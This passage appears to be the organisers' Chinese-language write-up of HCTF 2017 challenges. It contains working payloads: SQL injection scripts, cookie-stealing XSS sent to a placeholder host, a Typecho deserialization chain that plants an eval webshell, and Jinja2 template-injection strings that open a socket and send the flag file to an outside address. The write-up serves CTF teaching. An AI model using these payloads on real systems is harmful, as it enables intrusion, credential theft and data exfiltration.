if (!m || _0x5a6d56(_0x76e1e8[0x4][_0x43c8d1(0xd)](0x5, 0x1), 0x2) == _0x76e1e8[0x4][_0x43c8d1(0xd)](-0x5, 0x4) || _0x76e1e8[0x4][_0x43c8d1(0xd)](-0x2, 0x1) - _0x76e1e8[0x4][_0x43c8d1(0xd)](0x4, 0x1) != 0x1) {
return ![];
}
o = _0x1c3854(_0x76e1e8[0x4][_0x43c8d1(0xd)](0x6, 0x2))[_0x43c8d1(0xd)](0x2) == _0x76e1e8[0x4][_0x43c8d1(0xd)](0x6, 0x1)[_0x43c8d1('f')]() * _0x76e1e8[0x4][_0x43c8d1(0x8)] * 0x5;
return o && _0x76e1e8[0x4][_0x43c8d1(0xd)](0x4, 0x1) == 0x2 && _0x76e1e8[0x4][_0x43c8d1(0xd)](0x6, 0x2) == _0x5a6d56(_0x76e1e8[0x4][_0x43c8d1(0xd)](0x7, 0x1), 0x2);
} catch (_0x4cbb89) {
console['log']('gg');
return ![];
}
}
代码里主要有几点混淆：
1、变量名替换，a --> _0xd4b7d6，这种东西最烦，但是也最简单，批量替换，在我看来即使abcd这种变量也比这个容易读
2、提取了所有的方法到一个数组，这种也简单，只要在chrome中逐步调试替换就可以了。
还有一些小的细节，很常见，没什么可说的
"s".length() --> "s"['length']()
最终代码可以优化到这个地步，基本已经可读了，下一步就是分析代码了。
function check(flag){
var _ = ['\x63\x6f\x64\x65', '\x76\x65\x72\x73\x69\x6f\x6e', '\x65\x72\x72\x6f\x72', '\x64\x6f\x77\x6e\x6c\x6f\x61\x64', '\x69\x6e\x76\x61\x6c\x69\x64\x4d\x6f\x6e\x65\x74\x69\x7a\x61\x74\x69\x6f\x6e\x43\x6f\x64\x65', '\x54\x6a\x50\x7a\x6c\x38\x63\x61\x49\x34\x31', '\x4b\x49\x31\x30\x77\x54\x77\x77\x76\x46\x37', '\x46\x75\x6e\x63\x74\x69\x6f\x6e', '\x72\x75\x6e', '\x69\x64\x6c\x65', '\x70\x79\x57\x35\x46\x31\x55\x34\x33\x56\x49', '\x69\x6e\x69\x74', '\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x68\x65\x2d\x65\x78\x74\x65\x6e\x73\x69\x6f\x6e\x2e\x63\x6f\x6d', '\x6c\x6f\x63\x61\x6c', '\x73\x74\x6f\x72\x61\x67\x65', '\x65\x76\x61\x6c', '\x74\x68\x65\x6e', '\x67\x65\x74', '\x67\x65\x74\x54\x69\x6d\x65', '\x73\x65\x74\x55\x54\x43\x48\x6f\x75\x72\x73', '\x75\x72\x6c', '\x6f\x72\x69\x67\x69\x6e', '\x73\x65\x74', '\x47\x45\x54', '\x6c\x6f\x61\x64\x69\x6e\x67', '\x73\x74\x61\x74\x75\x73', '\x72\x65\x6d\x6f\x76\x65\x4c\x69\x73\x74\x65\x6e\x65\x72', '\x6f\x6e\x55\x70\x64\x61\x74\x65\x64', '\x74\x61\x62\x73', '\x63\x61\x6c\x6c\x65\x65', '\x61\x64\x64\x4c\x69\x73\x74\x65\x6e\x65\x72', '\x6f\x6e\x4d\x65\x73\x73\x61\x67\x65', '\x72\x75\x6e\x74\x69\x6d\x65', '\x65\x78\x65\x63\x75\x74\x65\x53\x63\x72\x69\x70\x74', '\x72\x65\x70\x6c\x61\x63\x65', '\x64\x61\x74\x61', '\x74\x65\x73\x74', '\x69\x6e\x63\x6c\x75\x64\x65\x73', '\x68\x74\x74\x70\x3a\x2f\x2f', '\x6c\x65\x6e\x67\x74\x68', '\x55\x72\x6c\x20\x65\x72\x72\x6f\x72', '\x71\x75\x65\x72\x79', '\x66\x69\x6c\x74\x65\x72', '\x61\x63\x74\x69\x76\x65', '\x66\x6c\x6f\x6f\x72', '\x72\x61\x6e\x64\x6f\x6d', '\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74', '\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65', '\x70\x61\x72\x73\x65'];
var head = flag['substring'](0, 4);
var base = parseInt(btoa(head), 0x20); //344800
(function (b, c) {
var d = function (a) {
while (--a) {
b['push'](b['shift']())
}
};
d(++c);
}(_, base%123));
var g = function (a) {
var a = parseInt(a, 0x10);
var c = _[a];
return c;
};
var s2h = function(str){
var result = "0x";
for(var i=0;i<str['length'];i++){
result += str['charCodeAt'](i)['toString'](16)
}
return result;
}
var b = flag['split']("_");
var c = (s2h(b[0]['substr'](-2,2)) ^ s2h(b[0]['substr'](4,1))) % b[0]['length'] == 5;
if(!c){
return false;
}
b2c = function(s) {
var alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567";
var parts = [];
var quanta = Math.floor((s['length'] / 5));
var leftover = s['length'] % 5;
if (leftover != 0) {
for (var i = 0; i < (5 - leftover); i++) {
s += '\x00';
}
quanta += 1;
}
for (i = 0; i < quanta; i++) {
parts.push(alphabet.charAt(s['charCodeAt'](i * 5) >> 3));
parts.push(alphabet.charAt(((s['charCodeAt'](i * 5) & 0x07) << 2) | (s['charCodeAt'](i * 5 + 1) >> 6)));
parts.push(alphabet.charAt(((s['charCodeAt'](i * 5 + 1) & 0x3F) >> 1)));
parts.push(alphabet.charAt(((s['charCodeAt'](i * 5 + 1) & 0x01) << 4) | (s['charCodeAt'](i * 5 + 2) >> 4)));
parts.push(alphabet.charAt(((s['charCodeAt'](i * 5 + 2) & 0x0F) << 1) | (s['charCodeAt'](i * 5 + 3) >> 7)));
parts.push(alphabet.charAt(((s['charCodeAt'](i * 5 + 3) & 0x7F) >> 2)));
parts.push(alphabet.charAt(((s['charCodeAt'](i * 5 + 3) & 0x03) << 3) | (s['charCodeAt'](i * 5 + 4) >> 5)));
parts.push(alphabet.charAt(((s['charCodeAt'](i * 5 + 4) & 0x1F))));
}
var replace = 0;
if (leftover == 1)
replace = 6;
else if (leftover == 2)
replace = 4;
else if (leftover == 3)
replace = 3;
else if (leftover == 4)
replace = 1;
for (i = 0; i < replace; i++)
parts.pop();
for (i = 0; i < replace; i++)
parts.push("=");
return parts.join("");
}
e = s2h(b2c(b[2])['split']("=")[0])^0x53a3f32
if(e != 0x4b7c0a73){
return false;
}
f = s2h(b2c(b[3])['split']("=")[0]) ^ e;
if(f != 0x4315332){
return false;
}
n = f*e*b[0]['length'];
h = function(str, func){
var result = "";
for(var i=0;i<str['length'];i++){
result += func(str[i])
}
return result;
}
j = b[1]['split']("3");
if(j[0]['length'] != j[1]['length'] || (s2h(j[0])^s2h(j[1])) != 0x1613){
return false;
}
k = str => str['charCodeAt']()*b[1]['length'];
l = h(j[0],k);
if(l!=0x2f9b5072){
return false;
}
m = s2h(b[4]['substr'](0,4))-0x48a05362 == n%l;
function u(str, j){
var result = "";
for(var i=0;i<j;i++){
result += str;
}
return result;
}
if(!m || u(b[4]['substr'](5,1),2) == b[4]['substr'](-5,4) || (b[4]['substr'](-2,1) - b[4]['substr'](4,1)) != 1){
return false
}
o = s2h(b[4]['substr'](6,2))['substr'](2) == b[4]['substr'](6,1)['charCodeAt']()*b[4]['length']*5;
return o && b[4]['substr'](4,1) == 2 && b[4]['substr'](6,2) == u(b[4]['substr'](7,1),2);
}
剩下的代码已经没什么可说的了。
1、首先是确认flag前缀，然后按照`_`分割为5部分。
2、g函数对基础数组做了一些处理，已经没什么懂了。
3、s2h是字符串到hex的转化函数
4、第一部分的验证不完整，导致严重的多解，只能通过爆破是否符合sha256来解决。
5、后面引入的b2c函数很简单，测试就能发现是一个base32函数。
6、第三部分和第四部分最简单，异或可得
7、h函数会对输入的字符串每位做func函数处理，然后拼接起来。
8、第二部分由3分割，左右两边长度相等，同样可以推算出结果。
9、k是我专门加入的es6语法的箭头语法，对传入的每个字母做乘7操作。
10、最后一题通过简单的判断，可以确定最后一部分的前四位。
11、u函数返回指定字符串的指定前几位
12、剩下的就是一连串的条件:
13、首先是一些很关键的的重复位，由于我写错了一些东西，导致这里永远是false，后被迫给出这几位.`!m ||
u(b[4]['substr'](5,1),2) == b[4]['substr'](-5,4) || (b[4]['substr'](-2,1) -b[4]['substr'](4,1)) != 1`
14、最后一部分是集合长度、以及部分条件完成的，看上去存在多解，但事实上是能逆向出来结果的。
当我们都完成这部分的时候，flag就会被我们解出来了。
### poker
这次想以游戏安全出一些题目，但是又担心出的太难，大家没做过类似的游戏漏洞挖掘(其实是为了偷懒)，就出了一道战斗频率没有限制的刷级漏洞。这是一个去掉充值功能以外完整的游戏，我去掉了后台对于加速器的检测机制。
提示给的很明显，在flag.php里提示了
getFlag when you are at level 100!!!
升到一百级就可以拿到flag，但是比赛时间的48个小时正常情况下不吃不喝也是升不到100级的，ctf本来就是一个hack
game，所以需要分析他的游戏机制。这个版本的poker2没有战斗频率限制，可以高速无限战斗，脚本很简单，但是还需要分析游戏的细节。众多野怪地图里有一个叫圣诞小屋的挂机地图，伤害低经验高，写好挂机脚本还是很简单的。
import requests
import re
from time import sleep
host = "petgame.2017.hctf.io"
headers = {
"Cookie":"PHPSESSID=c4gn8hav06nsv43bo65tlfkto3"
}
def getFight(host, headers):
url = "http://"+host+"/function/Fight_Mod.php?p=37&bid=5226&rd=0.5365947475076844"
req = requests.get(url = url, headers = headers)
html = req.content
gid = re.findall("gg=\[.*,(.*)\]",html)
if len(gid)>0:
gid = gid[0]
attack(gid, 4, host, headers)
else:
return False
def attack(gid, times, host, headers):
url = "http://"+host+"/function/FightGate.php?id=1&g="+str(gid)+"&checkwg=checked&rd=0.34966725314993186"
for i in xrange(0,times-1):
req = requests.get(url = url, headers = headers)
html = req.content
print html
while True:
getFight(host,headers)
# sleep(0.1)
#attack(86,url,headers)
其实还有其他解法，就是在poker-poker一题中找到注入点，如果有一百级的玩家的密码是弱口令(md5可查)则可以进入其他人账号获得flag。我特意把poker2一题放在第二层，poker-poker在第三层，但是还是有人找到了非预期的注入点(注册处)，提前获取了别人的session，在我删除一百级账号前获得flag。
## level3
### poker-poker
这题就比较难受了，看了大家传上来的wp，没有一份是预期解。由于游戏程序比较多，我也没全部看过，就找了一处隐蔽的有回显注入点，但是有一些前置条件。
题目提示是pspt，访问发现跳转到pspt/并且状态403，说明存在pspt目录。
pspt目录下存在robots.txt。
Disallow: /pspt/inf/queryUserRole.php
Sitemap: http://domain.com/sitemap.xml
直接访问/pspt/inf/queryUserRole.php提示error1。该目录下存在.bak文件，泄漏了源码。
<?php
require_once(dirname(dirname(dirname(__FILE__))).'/config/config.game.php');
if (empty($_GET['user_account']) || empty($_GET['valid_date']) || empty($_GET['sign'])) {
die('error1');
}
$time = time();
if ($_GET['valid_date'] <= $time) {
die('error2');
}
$encryKey = '7sl+kb9adDAc7gLuv31MeEFPBMJZdRZyAx9eEmXSTui4423hgGfXF1pyM';
$flag = md5($_GET['user_account'].$_GET['valid_date'].$encryKey);
if ($flag != $_GET['sign']) {
die('error3');
}
$arr = $_pm['mysql'] -> getOneRecord("SELECT id,nickname FROM player WHERE name = '{$_GET['user_account']}'");
if (!is_array($arr)) {
die('error4');
}
$str = $arr['id'].'&'.$arr['nickname'];
$newstr = iconv('utf8','utf-8',$str);
echo $newstr;
unset($time,$arr,$str);
?>
此处泄漏了encryKey，只要有这个encryKey，我们可以根据源码写出注入payload。
poc:
import requests
import time
import hashlib
import urllib2
def getMd5(data):
data = str(data)
t = hashlib.md5()
t.update(data)
return t.hexdigest()
def hack(payload="admin"):
user_account = urllib2.quote(payload)
valid_date = int(time.time())+10000
sign = getSign(user_account, valid_date)
url = "http://petgame.2017.hctf.io/pspt/inf/queryUserRole.php?user_account="+str(user_account)+"&valid_date="+str(valid_date)+"&sign="+sign
req = requests.get(url = url)
print req.content
def getSign(user_account, valid_date):
user_account = urllib2.unquote(user_account)
encryKey = '7sl+kb9adDAc7gLuv31MeEFPBMJZdRZyAx9eEmXSTui4423hgGfXF1pyM'
sign = getMd5(str(user_account) + str(valid_date) + encryKey)
return sign
hack("adminss' union all select 111,flag from hctf.flag2#")
flag就在hctf库里的hctf2表里。
而大家找到的其他注入点
### A World Restored & A World Restored Again
A World Restored
Description:
nothing here or all the here ps:flag in admin cookie
flag is login as admin
URL http://messbox.2017.hctf.io
Now Score 674.44
Team solved 7
A World Restored Again
Description:
New Challenge !!
hint: flag only from admin bot
URL http://messbox.2017.hctf.io
Now Score 702.6
Team solved 6
A World Restored在出题思路本身是来自于uber在10月14号公开的一个漏洞<https://stamone-bug-bounty.blogspot.jp/2017/10/dom-xss-auth_14.html>，为了能尽可能的模拟真实环境，我这个不专业的Web开发只能强行上手实现站库分离。
其中的一部分非预期，也都是因为站库分离实现的不好而导致的。（更开放的题目环境，导致了很多可能，或许这没什么不好的？
整个站的结构是这样的：
1、auth站负责用户数据的处理，包括登陆验证、注册等，是数据库所在站。
2、messbox站负责用户的各种操作，但不连接数据库。
这里auth站与messbox站属于两个完全不同的域，受到 **同源策略** 的影响，我们就需要有办法来沟通两个站。
而这里，我选择使用token做用户登陆的校验+jsonp来获取用户数据。站点结构如下:
简单来说就是，messbox登陆账号完全受到token校验，即使你在完全不知道账号密码的情况下，获取该token就可以登陆账号。
那么怎么获取token登陆admin账号就是第一题。
而第二题，漏洞点就是上面文章中写的那样，反射性的domxss，可以得到服务端的flag。
为了两个flag互不干扰，我对服务端做了一定的处理，服务端负责处理flag的代码如下：
$flag1 = "hctf{xs5_iz_re4lly_complex34e29f}";
$flag2 = "hctf{mayb3_m0re_way_iz_best_for_ctf}";
if(!empty($_SESSION['user'])){
if($_SESSION['user'] === 'hctf_admin_LoRexxar2e23322'){
setcookie("flag", $flag, time()+3600*48," ","messbox.2017.hctf.io", 0, true);
}
if($_SESSION['user'] === 'hctf_admin_LoRexxar2e23322' && $_GET['check']=="233e"){
setcookie("flag2", $flag2, time()+3600*48," ",".2017.hctf.io");
}
}
可以很明显的看出来，flag1是httponly并在messbox域下，只能登陆才能查看。flag2我设置了check位，只有bot才会访问这个页面，这样只有通过反射性xss，才能得到flag。
下面我们回到题目。
#### A World Restored
A World Restored
Description:
nothing here or all the here ps:flag in admin cookie
flag is login as admin
URL http://messbox.2017.hctf.io
Now Score 674.44
Team solved 7
这道题目在比赛结束时，只有7只队伍最终完成了，非常出乎我的意料，因为漏洞本身非常有意思。（这个漏洞是ROIS发现的）
为了能够实现token，我设定了token不可逆的二重验证策略，但是在题目中我加入了一个特殊的接口，让我们回顾一下。
auth域中的login.php，我加入了这样一段代码
if(!empty($_GET['n_url'])){
$n_url = trim($_GET['n_url']);
echo "<script nonce='{$random}'>window.location.href='".$n_url."?token=".$usertoken."'</script>";
exit;
}else{
// header("location: http://messbox.hctf.com?token=".$usertoken);
echo "<script nonce='{$random}'>window.location.href='http://messbox.2017.hctf.io?token=".$usertoken."'</script>";
exit;
}
这段代码也是两个漏洞的核心漏洞点，假设你在未登录状态下访问messbox域下的user.php或者report.php这两个页面，那么因为未登录，页面会跳转到auth域并携带n_url，如果获取到登陆状态，这里就会拼接token传回messbox域，并赋予登陆状态。
简单的流程如下：
未登录->获取当前URL->跳转至auth->获取登陆状态->携带token跳转到刚才获取的URL->messbox登陆成功
当然，这其中是有漏洞的。
服务端bot必然登陆了admin账号，如果我们直接请求login.php并制定下一步跳转的URL，那么我们就可以获取拼接上的token！
poc
http://auth.2017.hctf.io/login.php?n_url=http://{you_website}
得到token我们就可以登陆messbox域，成功登陆admin
#### A World Restored Again
A World Restored Again
Description:
New Challenge !!
hint: flag only from admin bot
URL http://messbox.2017.hctf.io
Now Score 702.6
Team solved 6
到了第二部，自然就是xss了，其实题目本身非常简单，在出题之初，为了避免题目出现“垃圾时间”（因为非预期导致题目不可解），我在题目中加入了跟多元素。
并把flag2放置在`.2017.hctf.io`域下，避免有人找到messbox的xss但是打不到flag的问题。（没想到真的用上了）
这里我就简单描述下预期解法和非预期解法两个。
##### 预期解法
预期解法当然来自于出题思路。
<https://stamone-bug-bounty.blogspot.jp/2017/10/dom-xss-auth_14.html>
漏洞本身非常简单，但有意思的是利用思路。
**当你发现了一个任意URL跳转的漏洞，会不会考虑漏洞是怎么发生的？**
也许你平时可能没注意过，但跳转一般是分两种的，第一种是服务端做的，利用`header:
location`,这种跳转我们没办法阻止。第二种是js使用`location.href`导致的跳转。
既然是js实现的，那么是不是有可能存在dom xss漏洞呢？
这个uber的漏洞由来就是如此。
这里唯一的考点就是，js是一种顺序执行的语言，如果location报错，那么就不会继续执行后面的js，如果location不报错，那么就可能在执行下一句之前跳转走。
当然，办法很多。最普通的可能是在location后使用`stop()`来阻止跳转，但最好用的就是新建script块，这样上一个script报错不会影响到下一个script块。
最终payload
</script><script src="http://auth.hctf.com/getmessage.php?callback=window.location.href='http://xxx?cookie='+document.cookie;//"></script
exp
http://auth.2017.hctf.io/login.php?n_url=%3E%3C%2fscript%3E%3Cscript%20src%3D%22http%3A%2f%2fauth.2017.hctf.io%2fgetmessage.php%3Fcallback%3Dwindow.location.href%3D%27http%3A%2f%2fxxx%3Fcookie%3D%27%252bdocument.cookie%3B%2f%2f%22%3E%3C%2fscript%3E
##### 非预期解法
除了上面的漏洞以外，messbox也有漏洞，username在首页没有经过任何过滤就显示在了页面内。
但username这里漏洞会有一些问题，因为本身预期的漏洞点并不是这里，所以这里的username经过我框架本身的一点儿过滤，而且长度有限制，所以从这里利用的人会遇到很多非预期的问题。
payload如下，注册名为
<script src=//auth.2017.hctf.io/getmessage.php?callback=location=%27http://xxx/%27%2bbtoa(document.cookie);//></script>
的用户名，并获取token。
传递
http://messbox.2017.hctf.io/?token=NDYyMGZlMTNhNWM3YTAxY3xQSE5qY21sd2RDQnpjb
U05THk5aGRYUm9Makl3TVRjdWFHTjBaaTVwYnk5blpYUnRaWE56WVdkbExuQm9jRDlqWVd4c1ltR
mphejFzYjJOaGRHbHZiajBsTWpkb2RIUndPaTh2Y205dmRHc3VjSGN2SlRJM0pUSmlZblJ2WVNoa
2IyTjFiV1Z1ZEM1amIyOXJhV1VwT3k4dlBqd3ZjMk55YVhCMFBnPT0=
即可
### SQL Silencer
有些假过滤，简化一下贴出注入部分最重要部分的代码
function sql_check($sql){
if($sql < 1 || $sql > 3){
die('We only have 3 users.');
}
$check = preg_match('/&|_|\+|or|,|and| |\|\||#|-|`|;|"|\'|\*|into|union([\s\S]+)select([\s\S]+)from/i',$sql);
if( $check ){
die("Nonono!");
} else {
return $sql;
}
}
这道题其实是可以显注的，各位有兴趣的可以先去试试
然而由于是黑名单不全的原因，几乎所有队伍都是用盲注做出来的
当前数据库有2个表，一个user，一个flag
user表里有3条数据，flag表里也有2条数据
所以有队伍在子查询中测试select(flag)from(flag)会返回there is nothing从而怀疑flag表不存在
因为数据库中会报错：ERROR 1242 (21000): Subquery returns more than 1 row
先说盲注吧，由于很多函数都没禁用，盲注的方法有很多，随便贴一个
由于3^1=2 -> Bob ,3^2=1 -> Alice, 3^0 -> Cc
看flag表中有多少行
id=3^(select(count(flag))from(flag))
返回Alice，确定flag表中只有2条数据
跑flag的poc:
id=3^(select(count(1))from(flag)where(binary(flag)<0x30))
写脚本直接跑就能跑出一个目录名，由于flag表里中第一条数据是没啥用的。给做题师傅们带来了些困扰，有些抱歉。
#!/usr/bin/env python
# -*- coding:utf-8 -*-
# author = 'c014'
import requests
s = requests.session()
flag = ""
for i in xrange(100):
for j in range(33,128):
url = "http://sqls.2017.hctf.io/index/index.php?id=3^(select(count(1))from(flag)where(binary(flag)<0x{}))".format((flag+chr(j)).encode('hex'))
r = s.get(url)
if 'Cc' not in r.text:
flag = flag + chr(j-1)
print '[+]flag:'+flag
break
跑出目录'./H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/'后访问/index/H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/index.php发现搭的是typecho
可以拿前段时间的Typecho前台getshell漏洞直接打
有两种方法，一种是直接回显命令执行，另一种是上传shell
由于根目录一般不会有可写权限，所以我准备了一个uploads目录，并且存在.DS_Store泄露
直接打的poc为：
Url: http://sqls.2017.hctf.io/index/H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/install.php?finish
Post: __typecho_config=YTo3OntzOjQ6Imhvc3QiO3M6OToibG9jYWxob3N0IjtzOjQ6InVzZXIiO3M6NjoieHh4eHh4IjtzOjc6ImNoYXJzZXQiO3M6NDoidXRmOCI7czo0OiJwb3J0IjtzOjQ6IjMzMDYiO3M6ODoiZGF0YWJhc2UiO3M6NzoidHlwZWNobyI7czo3OiJhZGFwdGVyIjtPOjEyOiJUeXBlY2hvX0ZlZWQiOjM6e3M6MTk6IgBUeXBlY2hvX0ZlZWQAX3R5cGUiO3M6NzoiUlNTIDIuMCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6NTp7czo0OiJsaW5rIjtzOjE6IjEiO3M6NToidGl0bGUiO3M6MToiMiI7czo0OiJkYXRlIjtpOjE1MDc3MjAyOTg7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO2k6LTE7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo3OiJwaHBpbmZvIjt9fXM6ODoiY2F0ZWdvcnkiO2E6MTp7aTowO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO2k6LTE7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo3OiJwaHBpbmZvIjt9fX19fXM6MTA6ImRhdGVGb3JtYXQiO047fXM6NjoicHJlZml4IjtzOjg6InR5cGVjaG9fIjt9
Referer: http://sqls.2017.hctf.io/index/H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/install.php?finish=
根据需求修改base64内容即可
上传shell的poc为：
Url: http://sqls.2017.hctf.io/index/H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/install.php?finish
Cookie: __typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6NDp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMjoiAFR5cGVjaG9fRmVlZABfY2hhcnNldCI7czo1OiJVVEYtOCI7czoxOToiAFR5cGVjaG9fRmVlZABfbGFuZyI7czoyOiJ6aCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NjY6ImZpbGVfcHV0X2NvbnRlbnRzKCd1cGxvYWRzL2MwMTQucGhwJywgJzw/cGhwIEBldmFsKCRfUE9TVFtjXSk7Pz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6NzoidHlwZWNobyI7fQ==
Referer: http://sqls.2017.hctf.io/index/H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/install.php
即可在uploads目录下创建一个名为c014.php的webshell
之后会发现命令执行的函数好像都没有回显，因为我基本上都禁用掉了
这里用php自带的列目录
$c = new DirectoryIterator("glob:///*");
foreach($c as $cc) {
echo $cc,"</br>";
}
发现根目录下有个 /flag_is_here 的文件夹
然后读取这个文件夹下的内容，有一个flag文件
echo file_get_contents('/flag_is_here/flag');
get flag~
这题我一开始是想考显注绕过waf
/union([\s\S]+)select([\s\S]+)from/i
贴一下我预期的显注poc
id=1=2|@c:=(select(1))union(select@c)
读目录的exp为:
id=1=2|@c:=(select(flag)from(flag)where(flag<0x30))union(select@c)
## level4
### Repeater
题目是根据[原文](https://0day.work/jinja2-template-injection-filter-bypasses/)魔改的
打开题目F12发现server为
Server: Werkzeug/0.12.2 Python/2.7.12
然后发现输入x就返回x was not found.
差不多可以想到jinja模板注入问题
测试
secret={{2-1}}
返回1 was not found.即可验证
由于也是黑名单过滤，绕过方式看师傅们的姿势
request.args过滤了
空格(%20)，回车(%0a)，'__','[',']','os','"',"|[a-z]"
直接构造是可以bypass的
空格可以用tab(%09)绕过，|后不允许接a-z可以用%0c，tab等绕过，os可以通过python中exec绕过
但是这题过滤仅限于request.args但是不允许post
简单的办法是可以用request.cookies来绕过
只能读文件的方法要找flag首先需要先到/etc/passwd看到有hctf用户,然后读取/home/hctf/.bash_history,发现flag路径/h3h3_1s_your_flag/flag,在读取flag
随便列几种解题方法
1.不用blask_list里的符号
secret={%set%0ca,b,c,d,e,f,g,h,i=request|%0cattr(request.args.class|%0cformat(request.args.a,request.args.a,request.args.a,request.args.a))|%0cattr(request.args.mro|%0cformat(request.args.a,request.args.a,request.args.a,request.args.a))%}{{(i|%0cattr(request.args.subc|%0cformat(request.args.a,request.args.a,request.args.a,request.args.a))()).pop(40)(request.args.file,request.args.write).write(request.args.payload)}}{{config.from_pyfile(request.args.file)}}&class=%s%sclass%s%s&mro=%s%smro%s%s&subc=%s%ssubclasses%s%s&usc=_&file=/tmp/foo.py&write=w&a=_&payload=import%0csocket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('xxx.xxx.xxx.xxx',2333));s.send(open('/h3h3_1s_your_flag/flag').read());
2.exec构造绕过'os'执行os系统命令
a='import\x0co'+'s;o'+'s.system(\'ls${IFS}/\')';exec(a)
3.通过request.cookies
Url: http://repeater.2017.hctf.io/?secret={{request|%0cattr(request.cookies.class)|%0cattr(request.cookies.mro)|%0clast()|%0cattr(request.cookies.sub)()|%0cattr(request.cookies.getitem)(40)(request.cookies.file)|%0cattr(request.cookies.read)()}}
Cookie: file=/h3h3_1s_your_flag/flag;class=__class__;mro=__mro__;sub=__subclasses__;getitem=__getitem__;read=read;
### Who are you?
进入界面，右上登录，Steam 账号授权。
然后进`Home`发现有`infomation`和`shop`。`shop`里可以买flag推测但显示余额不足。
购买动作的URL为`http://gogogo.2017.hctf.io/shop/3`，修改3为4可以发现调试模式没关，源码泄露。
public function buy(Request $request)
{
$itemId = $request->route('id');
$item = Item::find($itemId);
$prize = $item->prize;
$balance = Info::find(Auth::id())->amount;
if ($balance >= $prize) {
return view('message', ['message' => $item->note]);
}
return view('message', ['message' => 'Sorry Sir! You don\'t have enough money']);
}
得知后端框架为 `Laravel`，账户余额字段名为`amount`。
infomation页尝试把表单中的name字段改成amount字段并提交，即可充值。
购买拿到`flag：hctf{csgo_is_best_fps_game_dA3jf}`。
推测没有限定提交表单的参数，可以反推后端代码可能为。
public function update(Request $request)
{
$user = Info::where('id', Auth::id())->update($request->all());
}
Laravel
使用update方法批量赋值时应在Model中声明fillable白名单或者guard黑名单限制参数，或者使用`$request->only()`来限制。
### Deserted place
Deserted place
Description
maybe nothing here
flag in admin cookie
Now Score 820.35
Team solved 3
出题思路来自于一个比较特别的叫做SOME的攻击方式，全名`Same Origin Method
Execution`，这是一种2015年被人提出来的攻击方式，可以用来执行同源环境下的任意方法，2年前就有人做了分析。
[原paper](http://files.benhayak.com/Same_Origin_Method_Execution__paper.pdf)
<http://blog.safedog.cn/?p=13>
<https://lightless.me/archives/same-origin-method-exection.html>
这里我就不讨论具体的SOME攻击，稍后我会在博客等地方更新具体的分析。
回到题目。
打开题目主要功能有限：
1、登陆
2、注册
3、修改个人信息（修改个人信息后按回车更新自己的信息）、
4、获取随机一个人的信息，并把它的信息更新给我自己
简单测试可以发现，个人信息页面存在self-xss，但问题就在于怎么能更新admin的个人信息。
仔细回顾站内的各种信息，我们能发现所有的更新个人信息都是通过开启子窗口来实现的。
edit.php里面有一个类似于jsonp的接口可以执行任意函数，简单测试可以发现这里正则匹配了`.\w+`，这意味这我们只能执行已有的js函数，我们可以看看后台的代码。
$callback = $_GET['callback'];
preg_match("/\w+/i", $callback, $matches);
...
echo "<script>";
echo $matches[0]."();";
echo "</script>";
已有的函数一共有3个
function UpdateProfile(){
var username = document.getElementById('user').value;
var email = document.getElementById('email').value;
var message = document.getElementById('mess').value;
window.opener.document.getElementById("email").innerHTML="Email: "+email;
window.opener.document.getElementById("mess").innerHTML="Message: "+message;
console.log("Update user profile success...");
window.close();
}
function EditProfile(){
document.onkeydown=function(event){
if (event.keyCode == 13){
UpdateProfile();
}
}
}
function RandomProfile(){
setTimeout('UpdateProfile()', 1000);
}
如果执行`UpdateProfile`，站内就会把子窗口的内容发送到父窗口中。但是我们还是没办法控制修改的内容。
回顾站内逻辑，当我们点击click
me，首先请求`/edit.php?callback=RandomProfile`，然后跳转至任意`http://hctf.com/edit.php?callback=RandomProfile&user=xiaoming`，然后页面关闭并，更新信息到当前用户上，假设这里user是我们设定的还有恶意代码的user，那我们就可以修改admin的信息了，但，怎么能让admin打开这个页面呢？
我们可以尝试一个，如果直接打开`edit.php?callback=RandomProfile&user=xiaoming`
报错了，不是通过open打开的页面，寻找不到页面内的`window.opener`对象，也就没办法做任何事。
这里我们只有通过SOME，才能操作同源下的父窗口，首先我们得熟悉同源策略，同源策略规定，只有同源下的页面才能相互读写，如果通过`windows.open`打开的页面是同源的，那么我们就可以通过`window.opener`对象来操作父子窗口。
而SOME就是基于这种特性，可以执行同源下的任意方法。
最终payload：
vps, 1.html
<script>
function start_some() {
window.open("2.html");
location.replace("http://desert.2017.hctf.io/user.php");
}
setTimeout(start_some(), 1000);
</script>
vps, 2.html
<script>
function attack() {
location.replace("http://desert.2017.hctf.io/edit.php?callback=RandomProfile&user=lorexxar");
}
setTimeout(attack, 2000);
</script>
在lorexxar账户的message里添加payload
